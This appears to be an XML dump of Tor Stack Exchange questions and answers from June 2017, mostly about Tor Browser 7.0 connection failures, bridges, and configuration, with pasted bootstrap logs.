  <row Id="15041" PostTypeId="1" CreationDate="2017-06-15T19:12:00.050" Score="1" ViewCount="83" Body="&lt;p&gt;Does Comodo Internet Security sandbox improve the security of TBB or does it compromise the security of the browser? What sandbox do you recommend for TBB on Windows?&lt;/p&gt;&#xA;" OwnerUserId="17898" LastEditorUserId="17363" LastEditDate="2017-06-17T23:55:21.730" LastActivityDate="2017-06-17T23:55:21.730" Title="Security of TBB with Comodo sandbox" Tags="|sandbox|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15043" PostTypeId="1" CreationDate="2017-06-15T23:35:00.960" Score="2" ViewCount="379" Body="&lt;p&gt;I am trying to set up a hidden service on Qubes on the gateway with the server on a workstation. I followed the Whonix guide and checked to ensure the configuration was valid and that I could get the lighttpd page to load when I called curl [workstation_ip]:80. When I use another Qubes Workstation to try to access the service I get &quot;The connection was reset&quot;. iptables looks like it should according to the tutorial.&lt;/p&gt;&#xA;" OwnerUserId="17922" LastActivityDate="2017-06-15T23:35:00.960" Title="Hidden Service on Qubes Whonix, can not access Onion site from browser" Tags="|onion-services|whonix|qubes|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15044" PostTypeId="1" CreationDate="2017-06-16T00:32:49.973" Score="1" ViewCount="237" Body="&lt;p&gt;I am a Tor newbie and considering deploying my own private bridge to connect to the Tor network.  Normally I would connect to Tor via a VPN to prevent the entrance node from knowing my clearnet IP but after reading about private bridges, I am considering dropping the VPN method all togther. What are the benefits/drawbacks of using a private bridge over a VPN? For example security, speed etc... .  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is it possible to chain bridges? For example &lt;code&gt;Bridge -&amp;gt; Bridge -&amp;gt; Bridge -&amp;gt; TOR&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="17793" LastEditorUserId="17793" LastEditDate="2017-06-16T00:57:12.717" LastActivityDate="2017-06-16T00:57:12.717" Title="Is using a private bridge a suitable alternative compared to a VPN for connecting to Tor entry nodes?" Tags="|bridge|vpn|private|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15047" PostTypeId="1" CreationDate="2017-06-16T09:43:58.157" Score="1" ViewCount="882" Body="&lt;p&gt;Sorry to bother you guys, but Tor browser 7.x doesn't work for me, no matter what OS I use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To cut it short, I have Tor browser 6.5.2 running fine on my windows 7 desktop computer, a few day ago it automatically downloaded 7.0 update, the next time I try to run it, the progress bar stuck at 'retrieving network status' stage, waiting overnight and nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suspecting a corrupted update, I deleted that installation, rolled back to a clean 6.5.2 browser, and downloaded a fresh 7.0 installation file, loaded the same set of obfs4 bridges to the newly installed Tor browser7.0, and it didn't help, when I run it, the progress bar still stuck at 'retrieving network status'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alarmed, I checked the log file, and witnessing a crapload of ''&lt;strong&gt;&lt;em&gt;Ignoring directory request, since no bridge nodes are available yet.&lt;/em&gt;&lt;/strong&gt;&quot; warning, also the exact place where the bootstrap process got stuck is '&lt;strong&gt;&lt;em&gt;25% asking for network consensus&lt;/em&gt;&lt;/strong&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I also have a flashdisk loaded with tails 2.12, I decided to do a signature verification, both 6.5.2 binary file and 7.0 turned out ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rule out any antivirus false-positive or network hardware/driver based failures, I booted from tails 2.12, and downloaded a fresh image of tails 3.0 through Tor browser, and burned it to a DVD disk, when I booted from the tails 3.0 DVD, and try to connect to tor network, again using the same set of obfs4 bridges, the same symptom happens, the progress bar won't go past 'retrieving network status' stage. A quick look through the log created again revealing a series of '&lt;strong&gt;&lt;em&gt;Ignoring directory request, since no bridge nodes are available yet&lt;/em&gt;&lt;/strong&gt;.' warning, occasionally, '&lt;strong&gt;&lt;em&gt;I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &lt;/em&gt;&lt;/strong&gt; ' appears. Waiting for hours doesn't make any differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From those symptoms, I can only draw the conclusion that either this particular version of Tor browser has some pluggable transport related coding issue, or the country I live in has come up with some particular effective measure to attack the bootstrapping process of tor browser 7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a total loss here, can anyone share their experience with TBB7.0 or tails 3.0?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW my ISP is China telecom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This is the log generated by TBB 7.0 under windows platform:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2017/6/16 9:55:11.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/6/16 9:55:11.900 [NOTICE] Switching to guard context &quot;bridges&quot; (was using &quot;default&quot;)&#xA;2017/6/16 9:55:11.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/6/16 9:55:11.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/6/16 9:55:11.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2017/6/16 9:55:11.900 [NOTICE] Renaming old configuration file to &quot;F:\Tools\Network\Standard\Tor Browser700f\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;2017/6/16 9:55:19.000 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;2017/6/16 9:55:19.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;2017/6/16 9:55:22.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;2017/6/16 9:55:22.700 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;2017/6/16 9:55:23.500 [NOTICE] new bridge descriptor 'ndnop5' (fresh): $BBB28DF0F201E706BE564EFE690FE9577DD8386D~ndnop5 at 109.105.109.147 &#xA;2017/6/16 9:55:23.500 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;2017/6/16 9:55:24.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 9:55:25.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 9:55:29.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 9:55:29.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 9:55:35.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 9:55:35.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;a list of bridges with general socks failure.&#xA;2017/6/16 9:55:54.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 9:55:56.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 9:56:26.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 9:57:10.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 9:57:41.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 10:01:50.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 10:02:16.500 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 10:13:51.600 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 10:15:23.600 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;a list of bridges with general socks failure.&#xA;2017/6/16 10:32:19.600 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;2017/6/16 10:33:19.600 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;a list of bridges with general socks failure.&#xA;2017/6/16 11:17:50.900 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;a list of bridges with general socks failure.&#xA;2017/6/16 11:26:50.000 [NOTICE] new bridge descriptor 'Azadi' (fresh): $FE7840FE1E21FE0A0639ED176EDA00A3ECA1E34D~Azadi at 154.35.22.13 &#xA;2017/6/16 11:26:50.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;2017/6/16 11:28:53.300 [NOTICE] Bridge 'NX01' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (85.17.30.79:443) based on the configured Bridge address. &#xA;2017/6/16 11:28:53.300 [NOTICE] new bridge descriptor 'NX01' (fresh): $FC259A04A328A07FED1413E9FC6526530D9FD87A~NX01 at 85.17.30.79 &#xA;2017/6/16 11:28:53.300 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;a list of bridges with general socks failure.&#xA;2017/6/16 11:33:46.200 [NOTICE] new bridge descriptor 'MaBishomarim' (fresh): $A832D176ECD5C7C6B58825AE22FC4C90FA249637~MaBishomarim at 154.35.22.11 &#xA;2017/6/16 11:33:46.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;2017/6/16 11:34:01.800 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;2017/6/16 11:36:22.800 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;2017/6/16 11:38:39.100 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;a list of bridges with general socks failure.&#xA;2017/6/16 12:04:32.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2017/6/16 12:04:32.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/6/16 12:04:32.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2017/6/16 12:04:33.000 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think I have hit the character limitation of the post...&lt;/p&gt;&#xA;" OwnerUserId="17930" LastEditorUserId="17930" LastEditDate="2017-06-28T04:59:47.907" LastActivityDate="2022-01-09T12:02:00.147" Title="Tor browser 7.x won't connect" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15048" PostTypeId="1" AcceptedAnswerId="15049" CreationDate="2017-06-16T12:29:38.087" Score="1" ViewCount="315" Body="&lt;p&gt;I recently stumbled upon this online store &lt;a href=&quot;https://www.faunapparel.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.faunapparel.com/&lt;/a&gt; (which is a Shopify plateform).  Basically, they're detecting your local currency (either CAD, USD, EUR, GBP or AUD) when you're entering the website and they charge you in that currency &lt;strong&gt;even if you select a different currency in the dropdown&lt;/strong&gt; (they only display the currency you select, but they will still charge you in the &lt;strong&gt;currency they determined for you&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how come do they know my currency is CAD even with the Tor browser? (I know they know because there's a message on top of the home page that says &quot;Free shipping for orders of $50&lt;strong&gt;CAD&lt;/strong&gt; or more&quot;).  The Tor browser is run with the medium security setting (in order to access the necessary Javascript) and the exit server was in Netherlands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues?&lt;/p&gt;&#xA;" OwnerUserId="17931" LastActivityDate="2017-06-16T12:37:29.037" Title="How come Shopify recognizes my local currency with Tor browser!? (no log-in, no address entered)" Tags="|anonymity|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15049" PostTypeId="2" ParentId="15048" CreationDate="2017-06-16T12:37:29.037" Score="1" Body="&lt;p&gt;CAD is the default and changing the currency in the drop down doesn't affect the displayed message at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site doesn't know, it's purely a coincidence if it is accurately depicting your currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not in Canada or using a Candian locale and it gives me exactly the same message.&lt;a href=&quot;https://i.stack.imgur.com/QxFhm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QxFhm.jpg&quot; alt=&quot;currency choice&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-16T12:37:29.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15050" PostTypeId="1" CreationDate="2017-06-16T15:43:16.710" Score="1" ViewCount="67" Body="&lt;p&gt;I looked everywhere on the Tor Project site and tried to find a document or page that lists the version of TorBrowser and the OS version that it supports. So far, I haven't found anything. I can't imagine I'm the first to ask this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Release notes of the various builds don't seem to say anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me out here?&lt;/p&gt;&#xA;" OwnerUserId="17937" LastActivityDate="2017-06-16T15:43:16.710" Title="TorBrowser version/OS release matrix" Tags="|tor-browser-bundle|windows|linux|mac|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15051" PostTypeId="1" CreationDate="2017-06-16T15:53:49.820" Score="1" ViewCount="1295" Body="&lt;p&gt;I am unable to use tor browser as it is not connecting to tor control port.&#xA;earlier version of tor was working perfectly but the problem started when i updated it.I tried disabled firewall and antivirus, also checked time but nothing worked. when i degrade tor again it works but i dont want to be unsecure. so there is any way to solve this  &lt;/p&gt;&#xA;" OwnerUserId="17939" LastActivityDate="2017-06-16T15:53:49.820" Title="unable to connect to tor control port on windows 7" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="2" ClosedDate="2017-06-19T10:56:10.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="15053" PostTypeId="1" CreationDate="2017-06-17T18:43:28.867" Score="2" ViewCount="3573" Body="&lt;p&gt;I haven't been able to get Tor v7.0.1 to run on my Windows 10, 64 bit system.  As has been mentioned in previous posts, Tor just doesn't open - no error messages, no nothing.  I have tried to download v5.5, but none of the links worked any longer.  &lt;/p&gt;&#xA;" OwnerUserId="17951" LastActivityDate="2017-09-29T22:45:54.300" Title="Tor Doesn't Open after Initial install - Windows 10" Tags="|windows|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15054" PostTypeId="1" CreationDate="2017-06-18T08:03:03.147" Score="1" ViewCount="207" Body="&lt;p&gt;When using tor,I sometimes also use wireshark to see if unexpected ip is connected or not.&#xA;Is it less anonymous to use tor and wireshark at the same time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I noticed that protocols between my pc and entry nodes differs depending on them.&#xA;They are tcp,tlsv1.2,pop,IMF and so on.&#xA;Are they just judged by the port they are using?&#xA;Whatever protocol wireshark shows,is it correct that users don't have to mind it?&#xA;Or is it better to pick up entry node manually that uses port 80 or 443?&lt;/p&gt;&#xA;" OwnerUserId="17956" LastActivityDate="2021-12-29T01:08:15.657" Title="Do users have to mind the port number that entry node is using?" Tags="|entry|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15055" PostTypeId="1" CreationDate="2017-06-18T08:32:28.193" Score="0" ViewCount="250" Body="&lt;p&gt;I restarted Tor to get the automatic update, but now my computer is telling me that it can't run the new version -- that it doesn't support my computer. I have an OS X 10.8.5. Is there a way to use the previous version of Tor? I haven't found a way on my own.&lt;/p&gt;&#xA;" OwnerUserId="17958" LastActivityDate="2017-06-19T09:44:23.887" Title="Cannot Open New Tor 7.0.1 in Mac" Tags="|mac|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15056" PostTypeId="1" CreationDate="2017-06-18T09:00:47.363" Score="0" ViewCount="706" Body="&lt;p&gt;I have Windows 7 x64&#xA;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uninstalling and reinstalling &lt;/li&gt;&#xA;&lt;li&gt;running from cmd window &lt;/li&gt;&#xA;&lt;li&gt;stopping antivirus &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restoring to previous version (wouldn't run though - XUL Runner &quot;Error: platform version '52.2.0' is not compatible with minVersion &gt;=51.1.2 maxVersion &amp;lt;= 51.1.2&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Restarting PC &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Looking for tor.exe in Task Manager Processes to end process (not there)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Has anyone any other ideas?&#xA;Many thank for your help!&lt;/p&gt;&#xA;" OwnerUserId="17959" LastActivityDate="2022-04-12T21:01:05.133" Title="Tor will not start" Tags="|startup|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15058" PostTypeId="1" CreationDate="2017-06-18T12:17:45.270" Score="2" ViewCount="1014" Body="&lt;p&gt;on my system Ubuntu 16.04 32-bit I have used Tor Browser for years. Currently I am using the latest officially stable version 7.0.1. I use bridge &lt;strong&gt;meek-azure&lt;/strong&gt; if this is in some importance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When ever I start &quot;Tor Browser&quot; dialog &quot;Connecting to Tor network appears&quot; (which is fine), but after a second I ALWAYS get error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor failed to establish a Tor network connection. Establishing an&#xA;encrypted directory connection failed (done - 0.0.2.0:3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I click on OK button and &quot;Tor Network Settings&quot; dialog appears. I click on Connect button and dialog with &quot;Remove Settings and Connect&quot; button appears. When pressing this button Tor Browser starts in a about two seconds and working perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This kind of behavior (first time fail and after &quot;Remove Settings and Connect&quot; button) ALWAYS happens. When I reboot Ubuntu and start Tor Browser above error appears, or if I close down perfectly working Tor Browser and start it again. First time it ALWAYS result in above error and &quot;Remove Settings and Connect&quot; dialog button ALWAYS solves the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not a big problem, just a pretty annoying way of starting Tor Browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bellow is log file copied from inside of Tor Browser on Tor green button and Tor Network Settings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;18. 06. 2017 11:59:30.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;18. 06. 2017 11:59:30.000 [NOTICE] Switching to guard context &quot;bridges&quot; (was using &quot;default&quot;) &#xA;18. 06. 2017 11:59:30.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;18. 06. 2017 11:59:32.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;18. 06. 2017 11:59:32.900 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;18. 06. 2017 11:59:32.900 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host 97700DFE9F483596DDA6264C4D7DF7641E1E39CE at 0.0.2.0:3) &#xA;18. 06. 2017 11:59:32.900 [WARN] 1 connections have failed: &#xA;18. 06. 2017 11:59:32.900 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;18. 06. 2017 11:59:37.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;18. 06. 2017 11:59:37.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;18. 06. 2017 11:59:37.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;18. 06. 2017 12:00:33.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;18. 06. 2017 12:00:33.300 [NOTICE] Switching to guard context &quot;default&quot; (was using &quot;bridges&quot;) &#xA;18. 06. 2017 12:00:33.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;18. 06. 2017 12:00:33.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;18. 06. 2017 12:00:33.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;18. 06. 2017 12:00:33.900 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;18. 06. 2017 12:00:33.900 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;18. 06. 2017 12:00:34.400 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;18. 06. 2017 12:00:34.700 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;18. 06. 2017 12:00:34.700 [NOTICE] Bootstrapped 100%: Done &#xA;18. 06. 2017 12:00:37.200 [NOTICE] New control connection opened from 127.0.0.1. &#xA;18. 06. 2017 12:00:37.300 [NOTICE] New control connection opened from 127.0.0.1. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what is causing this behaviour?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13725" LastActivityDate="2022-08-08T18:03:55.373" Title="First time starting Tor Browser after reboot always result in &quot;Tor failed to establish a Tor network connection&quot;" Tags="|configuration|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15059" PostTypeId="1" CreationDate="2017-06-18T15:08:32.177" Score="0" ViewCount="64" Body="&lt;p&gt;I'm a complete newby to anything like Tor so please excuse if this is an ignorant question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're looking for a way to have a private forum that members can't copy and paste, take screenshots of or even photos of the posts to show to outsiders. Would Tor help in any way with something like this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, do you know of anything that does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="17965" LastActivityDate="2021-02-28T13:00:18.327" Title="Extra security for private forum posts" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15060" PostTypeId="1" AcceptedAnswerId="15062" CreationDate="2017-06-18T15:29:51.790" Score="2" ViewCount="2090" Body="&lt;p&gt;I wanted to know if it's possible to put multiple DNSListenAddress and TransListenAddress entries in the torrc file.&#xA;What i want to do is redirect the traffic that comes from clients connected to my vpn server AND from those connected to my wifi hotspot (tor, ovpn and wifi hotspot all installed on my RaspPi) to the tor network.&lt;/p&gt;&#xA;" OwnerUserId="17966" LastActivityDate="2019-12-01T01:59:25.857" Title="Multiple TransListenAddress, DNSListenAddress entries" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15061" PostTypeId="2" ParentId="15059" CreationDate="2017-06-18T15:39:22.860" Score="3" Body="&lt;p&gt;No, Tor would not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are suggesting is 100% impossible.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-18T15:39:22.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15062" PostTypeId="2" ParentId="15060" CreationDate="2017-06-18T15:48:05.587" Score="1" Body="&lt;p&gt;&lt;code&gt;DNSListenAddress&lt;/code&gt; and &lt;code&gt;TransListenAddress&lt;/code&gt; are deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead use multiple &lt;code&gt;DNSPort&lt;/code&gt; and &lt;code&gt;TransPort&lt;/code&gt; entries with explicit addresses specified for each.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-18T15:48:05.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15063" PostTypeId="1" CreationDate="2017-06-18T18:12:28.007" Score="1" ViewCount="264" Body="&lt;p&gt;my tor navigator is using something like 260mo of memory. Is it possible to low this by a factor 5 ? What risks do I have ? What if Tor encounters a out of memory ? Thanks for helping !!&lt;/p&gt;&#xA;" OwnerUserId="17969" LastActivityDate="2017-06-18T18:12:28.007" Title="How to limit the memory used by my TOR navigator?" Tags="|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15064" PostTypeId="1" CreationDate="2017-06-18T23:11:41.410" Score="1" ViewCount="557" Body="&lt;p&gt;The website I frequent blocks tor exit nodes so I use a different way to obtain a unique IP address outside the tor network, so I can't use the tor network for that site. I do need to use tor browser instead of firefox however, due to the built-in anonymity enhancements though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are a few things I would like the tor browser to allow me to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;when I disable my proxy port, I get the following message popup that I would like to disable (is it possible to disable this check?):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;torbutton cannot safely give you a new identity. it does not have access to the Tor Control Port. are you running Tor Browswer Bundle&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;is there a way to get tor browser to save form history &amp;amp; passwords the way firefox does?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;is there a way to set the screensize &amp;amp; position that tor browser uses when I click the button to create a new identity?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17973" LastEditorUserId="88" LastEditDate="2017-06-20T22:08:58.240" LastActivityDate="2023-06-10T13:24:06.497" Title="How can I re-enable some of Tor browser's features? (like saved form &amp; password entries)" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15066" PostTypeId="2" ParentId="15055" CreationDate="2017-06-19T09:38:35.353" Score="1" Body="&lt;p&gt;It is best to update your Mac so you get all the latest security patches.&#xA;After you update your Mac to the latest stable version macOS 10.12.5&#xA;Tor Browser should start working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the latest security patches for macOS.&#xA;&lt;a href=&quot;https://support.apple.com/en-us/HT201222&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.apple.com/en-us/HT201222&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there are serious security bugs that have been fixed in the latest versions of Tor Browser Bundle.&#xA;Here are just some of the security fixes for Tor browser. Using outdated versions of software puts you at risk of attackers using known vulnerabilities that have been fixed in latest versions to compromise your real ip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mozilla.org/en-US/security/advisories/mfsa2017-16/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mozilla.org/en-US/security/advisories/mfsa2017-16/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17977" LastEditorUserId="17977" LastEditDate="2017-06-19T09:44:23.887" LastActivityDate="2017-06-19T09:44:23.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15067" PostTypeId="1" CreationDate="2017-06-19T09:53:40.673" Score="1" ViewCount="631" Body="&lt;p&gt;There was using tor browser 6.5.2 and was'nt problem.&#xA;Today it updated to 7.0.1 version and this problem (((&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ISP block to tor - yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;connection type - obfs4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Local proxy - No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;19.06.2017 12:34:09.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19.06.2017 12:34:09.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;19.06.2017 12:34:16.400 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;19.06.2017 12:34:16.400 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;19.06.2017 12:34:16.400 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:16.400 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:16.600 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:16.600 [WARN] Proxy Client: unable to connect to 154.35.22.13:16815 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:16.700 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;19.06.2017 12:34:16.800 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;19.06.2017 12:34:16.800 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:16.800 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:16.900 [NOTICE] new bridge descriptor 'dragon' (fresh): $1LXj6eGGMY2YTsF6JQWgr4q8U97D4k3v9Z~dragon at 37.218.245.14 &#xA;19.06.2017 12:34:16.900 [NOTICE] I learned some more directory information, but not enough to build a circuit: We're missing descriptors for some of our primary entry guards &#xA;19.06.2017 12:34:17.000 [WARN] Proxy Client: unable to connect to 